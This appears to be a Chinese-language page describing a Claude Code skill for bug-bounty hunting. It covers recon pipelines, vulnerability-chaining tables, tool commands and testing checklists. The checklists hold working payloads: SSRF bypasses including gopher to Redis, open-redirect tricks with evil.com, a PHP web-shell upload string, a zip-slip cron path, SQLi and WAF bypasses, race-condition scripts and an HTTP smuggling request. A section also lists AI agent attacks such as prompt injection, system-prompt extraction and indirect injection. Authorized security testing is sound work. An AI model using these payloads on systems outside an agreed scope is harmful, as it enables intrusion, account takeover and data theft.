关于 bb-local-toolkit
覆盖侦察、漏洞挖掘、验证和报告的漏洞赏金工作流技能,强调确认实际影响、核对测试范围,并将相关问题串联分析,而非报告理论风险。
主要功能
- 01覆盖漏洞赏金各阶段的指导
- 02范围与影响验证规则
- 03漏洞关联与串联方法
- 04侦察和测试工具参考
- 05聚焦漏洞挖掘的检查清单
适用场景
- 01规划范围内目标的侦察工作
- 02验证疑似漏洞是否造成实际危害
- 03确认漏洞后测试相关端点
- 04准备基于证据的漏洞报告
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill bb-local-toolkit安装后在 Claude Code 中输入/bb-local-toolkit确认已加载。
详细介绍
Bug Bounty 主工作流
完整流程:侦察 -> 学习 -> 狩猎 -> 验证 -> 报告。一个技能,涵盖所有环节。
唯一重要的问题
“攻击者现在能否对一名没有采取任何特殊操作的真实用户实施这种攻击——并造成实际损害(资金被盗、个人身份信息泄露、账户被接管、代码执行)?”
如果答案是否定的——停下。不要写报告。不要继续探索。转向下一个目标。
理论上的漏洞 = 浪费时间。立即排除以下情况:
| 模式 | 排除原因 |
|---|---|
| “理论上可能导致……” | 无法利用 = 不是漏洞 |
| “攻击者在满足 X、Y、Z 条件后可以……” | 前置条件太多 |
| “实现有误,但没有实际影响” | 有误但无害 = 不是漏洞 |
| 含有漏洞的死代码 | 无法触达 = 不是漏洞 |
| 不含机密的源映射 | 没有影响 |
| 仅触发 DNS 回连的 SSRF | 需要数据外传或访问内部资源 |
| 单独的开放重定向 | 需要账户接管或 OAuth 攻击链 |
| “如果能串联起来,或许可以……” | 先构建攻击链,然后再报告 |
必须证明存在实际危害。“可能”不等于漏洞。证明它确实可行,否则就放弃。
关键规则
- 先完整阅读范围说明——确认每项资产/域名都归目标组织所有
- 不要报告理论上的漏洞——“攻击者现在能否窃取资金、泄露个人身份信息、接管账户或执行代码?”如果不能,立即停止。
- 尽快排除薄弱发现——撰写报告前,先通过 7 项问题筛选
- 撰写前先验证——先检查 CHANGELOG、设计文档和部署脚本
- 一次专注一种漏洞类型——深入排查,不要漫无目的地撒网
- 确认数据并非已经公开——报告 API“泄露”前,先用无痕模式检查网页界面
- 5 分钟规则——探测 5 分钟后目标仍无任何响应(全是 401/403/404)?转向下一个目标
- 影响优先狩猎——问“如果认证失效,最糟会发生什么?”如果没有有价值的后果,就跳过该目标
- 凭据泄露必须有利用证明——找到密钥还不够,必须证明它们能访问什么
- 停止浅层侦察的恶性循环——不要探测 403,不要搜索分析服务密钥,不要检查毫无后续线索的预发布域名
- 业务影响优先于漏洞类型——严重程度取决于上下文,而不只是漏洞类型
- 深入了解目标——开始狩猎前,像真实用户一样熟悉应用
- 不要过度依赖自动化——自动化扫描会撞上 WAF、触发速率限制,发现的也往往是其他人已经发现的相同漏洞
- 狩猎竞争较少的漏洞类型——XSS/SSRF/XXE 的竞争最激烈。拓展到:缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 攻击链、CI/CD 流水线攻击
- 一小时规则——在一个目标上卡了一小时且毫无进展?切换方向
- 双视角方法——将系统化测试(检查清单)与异常检测(留意意外行为)结合起来
- T 型知识结构——在一个领域深入钻研,同时广泛了解其他领域
完整的狩猎方法论——包括 5 阶段非线性工作流、开发者心理框架、会话纪律、按阶段划分的命令行路径,以及广度/深度路线选择,请参阅
skills/bb-methodology/SKILL.md。
A->B 漏洞信号法(聚类狩猎)
发现漏洞 A 后,系统地在附近寻找 B 和 C。 这是漏洞赏金中最强大的方法论之一。单个漏洞有收益,漏洞链的收益能高出 3 到 10 倍。
已知的 A→B→C 链
| Bug A(信号) | 追查 Bug B | 升级到 C |
|---|---|---|
| IDOR(读取) | 在同一端点上尝试 PUT/DELETE | 完全操控账户数据 |
| SSRF(任意) | 云元数据 [REDACTED_IP] | 窃取 IAM 凭据 -> RCE |
| XSS(存储型) | 检查会话 Cookie 是否设置了 HttpOnly | 劫持会话 -> ATO |
| 开放重定向 | OAuth redirect_uri 接受你的域名 | 窃取授权码 -> ATO |
| S3 存储桶列表 | 枚举 JS bundle | 搜索 OAuth client_secret -> OAuth 链 |
| 绕过速率限制 | 暴力破解 OTP | 账户接管 |
| GraphQL 内省 | 缺少字段级授权 | 大规模窃取 PII |
| 调试端点 | 泄露的环境变量 | 云凭据 -> 基础设施访问权限 |
| CORS 回显来源 | 使用 credentials: include 进行测试 | 窃取需凭据授权的数据 |
| Host 头注入 | 密码重置投毒 | 通过重置链接实现 ATO |
集群式排查流程(6 个步骤)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
真实示例
Coinbase S3->Bundle->Secret->OAuth 链:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot 链:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
顶尖 1% 黑客思维
顶尖黑客的思维方式有何不同
普通猎手:运行工具,照着清单检查,30 分钟后放弃。 顶尖 1%:构建应用内部运作方式的心智模型。他们会问“为什么它会这样工作?”,而不是“这个端点做什么?”,而是“是什么业务决策促使开发者这样构建它?他们可能走了什么捷径?”
狩猎前的思维框架
步骤 1:锁定核心目标
在接触任何内容之前,先问:“如果我是攻击者,而且只能对这个应用做一件事,什么事情会造成最大损害?”
- 金融应用 -> 盗取资金,转入攻击者账户
- 医疗保健 -> 泄露 PII,违反 HIPAA
- SaaS -> 跨租户数据泄露,接管管理员账户
- 身份验证提供商 -> 完全攻陷 SSO 链
步骤 2:体察开发者思维
像构建该功能的开发者一样思考:
- 最简单的实现方式是什么?
- 疲惫的开发者凌晨 2 点会走什么捷径?
- 在哪里检查身份验证——控制器、中间件还是数据库层?
- 不经过端点 A,直接调用端点 B 会发生什么?
步骤 3:绘制信任边界
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
步骤 4:思考功能交互
- 这个新功能会复用旧的身份验证逻辑,还是有自己的逻辑?
- 移动 API 与 Web 应用是否共享身份验证逻辑?
- 这个功能是由同一个团队构建的,还是由第三方构建的?
顶尖 1% 思维清单
- 我了解该应用的核心业务模式
- 我以真实用户的身份使用过该应用至少 15 分钟
- 我了解技术栈(语言、框架、身份验证系统、缓存)
- 我至少读过该项目的 3 份已披露报告
- 我已准备好 2 个测试账户(攻击者 + 受害者)
- 我已确定主要目标:今天要寻找的一个核心目标
顶尖猎手的思维准则
“狩猎功能,而非端点” —— 找出服务于某项功能的所有端点,然后测试它们之间的交互。
“授权不一致对你有利” —— 如果应用在 9 个地方检查了授权,却漏掉第 10 个地方,那就是你的 Bug。
“新功能 == 未经审查” —— 最近 30 天内上线的功能,安全成熟度最低。
“考虑二阶问题” —— 二阶 SSRF:URL 保存在数据库中,由定时任务获取。二阶 XSS:内容经过清理后存储,却在管理面板中不安全地渲染。
“追踪资金流向” —— 任何涉及支付、计费、额度、退款的功能,都是开发者最容易走安全捷径的地方。
“移动应用使用的 API” —— 移动应用通常会调用较旧或不同版本的 API。同一家公司,不同的攻击面,安全成熟度更低。
“比较差异以发现 Bug” —— 比较新旧 API 文档。比较移动 API 与 Web API。比较免费用户可以请求的内容与付费用户获得的响应。
工具
Go 二进制工具
| 工具 | 用途 |
|---|---|
| subfinder | 被动子域名枚举 |
| httpx | 探测存活主机 |
| dnsx | DNS 解析 |
| nuclei | 模板扫描器 |
| katana | 爬取 |
| waybackurls | 存档 URL |
| gau | 已知 URL |
| dalfox | XSS 扫描器 |
| ffuf | 模糊测试器 |
| anew | 去重追加 |
| qsreplace | 替换参数值 |
| assetfinder | 子域名枚举 |
| gf | Grep 模式(xss、sqli、ssrf、redirect) |
| interactsh-client | 带外回调 |
按需安装的工具
| 工具 | 用途 | 安装 |
|---|---|---|
| arjun | 发现隐藏参数 | pip3 install arjun |
| paramspider | 挖掘 URL 参数 | pip3 install paramspider |
| kiterunner | API 端点暴力枚举 | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | 云资产枚举 | pip3 install cloud_enum |
| trufflehog | 密钥扫描 | brew install trufflehog |
| gitleaks | 密钥扫描 | brew install gitleaks |
| XSStrike | 高级 XSS 扫描器 | pip3 install xsstrike |
| SecretFinder | 提取 JS 密钥 | pip3 install secretfinder |
| sqlmap | SQL 注入 | pip3 install sqlmap |
| subzy | 子域名接管 | go install github.com/LukaSikic/subzy@latest |
静态分析(Semgrep 快速审计)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF 高级技巧
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI 辅助工具
- strix(usestrix.com)-- 用于自动化初步扫描的开源 AI 扫描器
阶段 1:侦察
标准侦察流程
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
云资产枚举
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API 端点发现
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne 范围检索
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
快速收获检查清单
- 子域名接管(
subjack、subzy) - 暴露的
.git(/.git/config) - 暴露的环境文件(
/.env、/.env.local) - 管理面板上的默认凭据
- JS 密钥(SecretFinder、jsluice)
- 开放重定向(
?redirect=、?next=、?url=) - CORS 配置错误(测试
Origin: https://evil.com+ 凭据) - S3/云存储桶
- 已启用 GraphQL 内省
- Spring Actuator(
/actuator/env、/actuator/heapdump) - Firebase 开放读取(
https://TARGET.firebaseio.com/.json)
技术指纹识别
| 特征 | 技术 |
|---|---|
Cookie:XSRF-TOKEN + *_session | Laravel |
Cookie:PHPSESSID | PHP |
Header:X-Powered-By: Express | Node.js/Express |
响应:wp-json/wp-content | WordPress |
响应:{"errors":[{"message": | GraphQL |
Header:X-Powered-By: Next.js | Next.js |
框架快速收获
Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log
WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1
Node.js:/.env、/graphql(内省)、/_debug
AWS Cognito:/oauth2/userInfo(泄露 Pool ID),CORS 会反射任意来源
源代码侦察
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
特定语言的 Grep 模式
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
阶段 2:学习(狩猎前情报)
阅读已披露的报告
# By program on HackerOne
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
“发生了什么变化”方法
- 查找类似技术的已披露报告
- 获取修复提交
- 阅读差异 -- 找出反模式
- 在目标中 Grep 查找相同的反模式
威胁建模模板
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
顶级报告中的 6 个关键模式
- 功能复杂度 = 漏洞面 -- 导入、集成、多租户、多步骤工作流
- 开发者不一致 = 最有力的证据 -- 一处使用
timingSafeEqual,另一处使用=== - “Else 分支”漏洞 -- 代理/网关在 else 路径中未经验证便传递原始令牌
- 导入/导出 = SSRF -- 历来每个“从 URL 导入”功能都存在 SSRF
- 次要/旧版端点 = 无身份验证 --
/api/v1/有保护,但/api/没有 - 金融操作中的竞态窗口 -- 将检查和扣款作为两次 DB 操作 = 双重支出
阶段 3:狩猎
笔记系统(切勿在没有笔记的情况下狩猎)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
子域类型 -> 测试策略
- dev/staging/test:调试端点、已禁用的身份验证、详细错误
- admin/internal:默认凭据、IP 绕过标头(
X-Forwarded-For: 127.0.0.1) - api/api-v2:使用 kiterunner 枚举,检查较旧且未受保护的版本
- auth/sso:OAuth 配置错误、
redirect_uri中的开放重定向 - upload/cdn:CORS、路径遍历、存储型 XSS
基于 CVE 的审计方法
- 构建 CVE 评估集 -- 为目标代码库收集 5-10 个以往的 CVE
- 复现旧漏洞 -- 验证你能否在旧代码中找到这种模式
- 向前匹配模式 -- 在当前代码中搜索相同的反模式
- 关注广泛的攻击面 -- JS 引擎、解析器,以及任何处理不可信外部输入的组件
Rust/区块链源代码(经验教训)
恐慌路径:编码与解码 -- 编码路径上的 .unwrap() 不会被攻击者触发。只有网络输入反序列化/解码时引发的恐慌才可被利用。
“已知 TODO”并非缓解措施 -- 类似 // Votes are not signed for now 的注释并不意味着安全。
根据已确认的发现进行模式搜索 -- 如果 verify_signed_vote 存在漏洞,就检查 verify_signed_proposal 和 verify_commit_signature。
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
漏洞测试清单
IDOR -- 不安全的直接对象引用
Web2 中获得最多付费的漏洞类别排名第 1 —— 所有获得付费的提交中占 30%。
IDOR 变体(10 种测试方法)
| 变体 | 测试内容 |
|---|---|
| V1:直接 | 更改 URL 路径中的对象 ID:/api/users/123 -> /api/users/456 |
| V2:正文参数 | 更改 POST/PUT JSON 正文中的 ID:{"user_id": 456} |
| V3:GraphQL 节点 | { node(id: "base64(OtherType:123)") { ... } } |
| V4:批量/批处理 | /api/users?ids=1,2,3,4,5 -- 一次请求多个 ID |
| V5:嵌套 | 更改父级 ID:/orgs/{org_id}/users/{user_id} |
| V6:文件路径 | /files/download?path=../other-user/file.pdf |
| V7:可预测 | 连续整数、时间戳、短 UUID |
| V8:更换方法 | GET 返回 403?尝试对同一端点使用 PUT/PATCH/DELETE |
| V9:版本回退 | v2 被拦截?尝试同一端点的 /api/v1/ |
| V10:标头注入 | X-User-ID: victim_id、X-Org-ID: victim_org |
IDOR 测试清单
- 创建两个账户(A = 攻击者,B = 受害者)
- 以 A 身份登录,执行所有操作,并记录请求中的所有 ID
- 以 B 身份登录,使用 B 的身份验证重放 A 的请求,并保留 A 的 ID
- 使用替换后的 ID 测试每个端点——不只测试 GET,也测试 PUT/DELETE/PATCH
- 检查 API v1/v2 的差异
- 检查 GraphQL 架构中的 node() 查询
- 检查 WebSocket 消息中由客户端提供的 ID
- 测试批量端点(能否请求多个 ID?)
- 尝试添加意外参数:
?user_id=other_user
IDOR 漏洞链(更高的赏金)
- IDOR + 读取 PII = 中危
- IDOR + 写入(修改他人数据)= 高危
- IDOR + 管理员端点 = 严重(权限提升)
- IDOR + 账户接管路径 = 严重
- IDOR + 聊天机器人(LLM 读取其他用户的数据)= 高危
SSRF -- 服务器端请求伪造
- 尝试云元数据:
http://[REDACTED_IP]/latest/meta-data/ - 尝试内部服务:
http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB) - 测试所有 IP 绕过技术(见下表)
- 测试协议绕过:
file://、dict://、gopher:// - 检查以下位置:Webhook URL、从 URL 导入、个人资料图片 URL、PDF 生成器、XML 解析器
SSRF IP 绕过表(11 种技术)
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 十进制 IP | http://2130706433/ | 将 127.0.0.1 表示为单个十进制数 |
| 十六进制 IP | http://0x7f000001/ | 十六进制表示 |
| 八进制 IP | http://0177.0.0.1/ | 八进制 0177 = 127 |
| 短 IP | http://127.1/ | 缩写形式 |
| IPv6 | http://[::1]/ | IPv6 回环地址 |
| IPv6 映射地址 | http://[::ffff:127.0.0.1]/ | IPv4 映射的 IPv6 地址 |
| 重定向链 | http://attacker.com/302->http://[REDACTED_IP] | 检查每一跳 |
| DNS 重绑定 | 注册一个解析到 127.0.0.1 的域名 | 首次检查时为外部地址,获取时变为内部地址 |
| URL 编码 | http://127.0.0.1%[email protected] | 解析器混淆 |
| 带圈字母数字 | http://①②⑦.⓪.⓪.① | Unicode 数字 |
| 协议混淆 | gopher://127.0.0.1:6379/_INFO | Redis 等协议 |
SSRF 影响链
- 仅 DNS 查询 = 信息级(不要提交)
- 可访问内部服务 = 中危
- 可读取云元数据 = 高危(密钥暴露)
- 可读取云元数据并外传密钥 = 严重(在云端执行代码)
- 可访问 Docker API = 严重(直接远程代码执行)
OAuth / OIDC
- 缺少
state参数 -> CSRF -
redirect_uri接受通配符 -> 账户接管(ATO) - 缺少 PKCE -> 代码被盗
- 隐式流 -> 令牌通过 referrer 泄露
- 身份验证后的重定向存在开放重定向 -> OAuth 令牌盗取链
开放重定向绕过表(11 种技术)
将开放重定向与 OAuth 授权码盗取串联时,请使用以下方法:
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 双重 URL 编码 | %252F%252F | 双重解码后变为 // |
| 反斜杠 | https://target.com\@evil.com | 某些解析器会将 \ 规范化为 / |
| 缺少协议 | //evil.com | 协议相对 URL |
| @ 技巧 | https://[email protected] | target.com 会被解析为用户名 |
| 协议相对 URL | ///evil.com | 三个斜杠 |
| 制表符/换行符注入 | //evil%[EXAMPLE_DOMAIN] | 主机名中包含空白字符 |
| 片段技巧 | https://evil.com#target.com | 片段会误导验证逻辑 |
| 空字节 | https://evil.com%00target.com | 某些解析器会在空字节处截断 |
| 参数污染 | ?next=target.com&next=evil.com | 采用最后一个值 |
| 路径混淆 | /redirect/..%2F..%2Fevil.com | 在重定向中进行路径遍历 |
| Unicode 规范化 | https://evil.com/target.com | 视觉混淆 |
文件上传
文件上传绕过表
| 绕过方式 | 技术 |
|---|---|
| 双扩展名 | file.php.jpg、file.php%00.jpg |
| 大小写变化 | file.pHp、file.PHP5 |
| 替代扩展名 | .phtml、.phar、.shtml、.inc |
| 伪造 Content-Type | 使用包含 PHP 内容的 image/jpeg 标头 |
| 魔数 | GIF89a; <?php system($_GET['c']); ?> |
| 上传 .htaccess | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| 竞争条件 | 在清理任务运行前上传并执行 |
| JPEG/PHP 多格式文件 | 同时也是有效 PHP 文件的有效 JPEG |
| Zip slip | 在压缩包内的文件名中使用 ../../etc/cron.d/shell |
魔数参考
| 类型 | 十六进制 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
竞争条件
- 优惠券代码 / 促销代码
- 礼品卡兑换
- 资金转账 / 提现
- 投票 / 评分限制
- 利用竞争条件暴力破解 OTP 验证
seq 20 | xargs -P 20 -I {} curl --max-time 30 --connect-timeout 10 -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- 单数据包攻击(所有请求同时到达)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
业务逻辑
- 购物车中的负数量
- 篡改价格参数
- 跳过工作流步骤(例如,不结账直接付款)
- 通过注册字段提升角色
- 降级后仍保留权限
XSS -- 跨站脚本攻击
XSS 接收点(grep 搜索以下内容)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS 链(从中危升级到高危/严重)
- XSS + 敏感页面(银行业务、管理后台)= 高危
- XSS + 窃取 CSRF 令牌 = 绕过 CSRF -> 执行严重操作
- XSS + Service Worker = 跨页面持久化 XSS
- XSS + 通过伪造登录表单窃取凭据 = ATO
- 聊天机器人响应中的 XSS = 存储型 XSS 链
SQL 注入
检测
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
现代 SQLi WAF 绕过
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
内省(单独存在时 = 信息级,但会暴露攻击面)
{ __schema { types { name fields { name type { name } } } } }
缺少字段级授权
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
批处理攻击(绕过速率限制)
[
{"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
{"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
"...100 more..."
]
LLM / AI 功能
- 通过传入 LLM 的用户输入进行提示注入
- 通过 AI 处理的文档/URL 进行间接注入
- 聊天记录中的 IDOR(枚举会话 ID)
- 通过角色扮演/编码提取系统提示词
- 通过滥用命令行代码执行命令实现 RCE
- ASCII 隐写(LLM 输出中的不可见 Unicode 字符)
Agentic AI 漏洞挖掘(OWASP ASI01-ASI10)
当目标系统中的 AI Agent 具有命令行访问权限时,需要测试以下 10 类攻击:
| ID | 漏洞类别 | 测试内容 |
|---|---|---|
| ASI01 | 提示注入 | 通过用户输入覆盖系统提示词——让 Agent 忽略其规则 |
| ASI02 | 工具滥用 | 诱使 AI 使用攻击者控制的参数调用工具(通过“抓取 URL”实现 SSRF,通过代码命令行实现 RCE) |
| ASI03 | 数据外泄 | 通过泄露上下文的精心构造提示词提取训练数据 / PII |
| ASI04 | 权限提升 | 利用 AI 访问仅限管理员使用的工具——Agent 的权限比用户更广 |
| ASI05 | 间接注入 | 污染 AI 处理的文档/URL——在获取的内容中隐藏指令 |
| ASI06 | 权限过大 | AI 未经确认就执行破坏性操作——删除、发送、付款 |
| ASI07 | 模型 DoS | 构造导致无限循环、过度消耗令牌或内存溢出的输入 |
| ASI08 | 不安全输出 | AI 在输出中生成 XSS/SQLi/命令注入内容,并被渲染 |
| ASI09 | 供应链 | AI 调用的插件/工具/MCP 服务遭到入侵 |
| ASI10 | 敏感信息泄露 | AI 泄露内部配置、API 密钥、系统提示词、用户数据 |
分级规则: 单独的 ASI = 信息级。必须与 IDOR/数据外泄/RCE/ATO 组合,才能获得有偿赏金。
缓存投毒 / Web 缓存欺骗
- 测试
X-Forwarded-Host、X-Original-URL、X-Rewrite-URL——响应中反射的非缓存键标头 - 参数隐藏(
?param=value;poison=xss) - Fat GET(GET 请求中的正文参数)
- Web 缓存欺骗(
/account/settings.css——诱使缓存存储私有响应) - Param Miner(Burp 扩展)——自动发现非缓存键标头
HTTP 请求走私
- CL.TE:前端处理 Content-Length,后端处理 Transfer-Encoding
- TE.CL:前端处理 Transfer-Encoding,后端处理 Content-Length
- H2.CL:HTTP/2 降级走私
- TE 混淆:
Transfer-Encoding: xchunked、制表符前缀、空格前缀 - 使用 Burp“HTTP Request Smuggler”扩展——自动检测
CL.TE 示例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端读取 Content-Length: 13 -> 发送全部内容。后端读取 Transfer-Encoding -> 看到数据块“0”= 结束 -> “SMUGGLED”留在缓冲区中 -> 污染下一位用户的请求。
Android / 移动端漏洞挖掘
- 绕过证书绑定(Frida/objection)
- 已导出的 Activity/Receiver(AndroidManifest.xml)
- 深度链接注入
- 明文存储的 Shared Preferences / SQLite
- WebView JavaScript 桥接
- 移动端 API 通常使用比 Web 端更旧/不同的 API 版本
CI/CD 流水线 — GitHub Actions 安全
